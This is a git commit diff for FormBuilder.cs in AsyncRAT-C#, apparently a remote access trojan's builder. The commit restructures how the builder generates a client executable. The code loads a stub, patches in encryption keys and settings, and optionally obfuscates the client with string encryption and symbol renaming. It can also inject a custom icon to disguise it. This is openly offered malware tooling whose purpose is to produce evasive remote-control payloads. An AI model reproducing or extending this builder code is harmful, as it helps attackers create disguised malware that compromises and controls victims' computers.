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Update FormBuilder.cs

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NYAN CAT 2019-06-10 13:35:47 +03:00
parent 13c0db79ab
commit 74b2467b75
1 changed files with 34 additions and 39 deletions
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73
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
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@ -187,36 +187,33 @@ namespace AsyncRAT_Sharp.Forms
try try
{ {
using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe")) using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe"))
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
{ {
WriteSettings(asmDef); saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
saveFileDialog1.InitialDirectory = Application.StartupPath;
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{ {
saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; WriteSettings(asmDef);
saveFileDialog1.InitialDirectory = Application.StartupPath; if (chkObfu.Checked)
saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{ {
if (chkObfu.Checked) EncryptString.DoEncrypt(asmDef);
{ Renaming.DoRenaming(asmDef);
EncryptString.DoEncrypt(asmDef);
Renaming.DoRenaming(asmDef);
}
asmDef.Write(saveFileDialog1.FileName);
asmDef.Dispose();
if (btnAssembly.Checked)
{
WriteAssembly(saveFileDialog1.FileName);
}
if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
{
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
}
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings();
this.Close();
} }
asmDef.Write(saveFileDialog1.FileName);
asmDef.Dispose();
if (btnAssembly.Checked)
{
WriteAssembly(saveFileDialog1.FileName);
}
if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
{
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
}
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings();
this.Close();
} }
} }
} }
@ -327,8 +324,6 @@ namespace AsyncRAT_Sharp.Forms
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
} }
foreach (TypeDef type in asmDef.Types) foreach (TypeDef type in asmDef.Types)
{ {
if (type.Name == "Settings") if (type.Name == "Settings")
@ -385,7 +380,7 @@ namespace AsyncRAT_Sharp.Forms
method.Body.Instructions[i].Operand = textFilename.Text; method.Body.Instructions[i].Operand = textFilename.Text;
if (method.Body.Instructions[i].Operand.ToString() == "%Version%") if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ","")); method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", ""));
if (method.Body.Instructions[i].Operand.ToString() == "%Key%") if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
@ -417,19 +412,19 @@ namespace AsyncRAT_Sharp.Forms
} }
private readonly Random random = new Random(); private readonly Random random = new Random();
const string alphabet = "asdfghjklqwertyuiopmnbvcxz"; const string alphabet = "asdfghjklqwertyuiopmnbvcxz";
public string getRandomCharacters() public string getRandomCharacters()
{
var sb = new StringBuilder();
for (int i = 1; i <= new Random().Next(10, 20); i++)
{ {
var sb = new StringBuilder(); var randomCharacterPosition = random.Next(0, alphabet.Length);
for (int i = 1; i <= new Random().Next(10,20); i++) sb.Append(alphabet[randomCharacterPosition]);
{
var randomCharacterPosition = random.Next(0, alphabet.Length);
sb.Append(alphabet[randomCharacterPosition]);
}
return sb.ToString();
} }
return sb.ToString();
}
} }
} }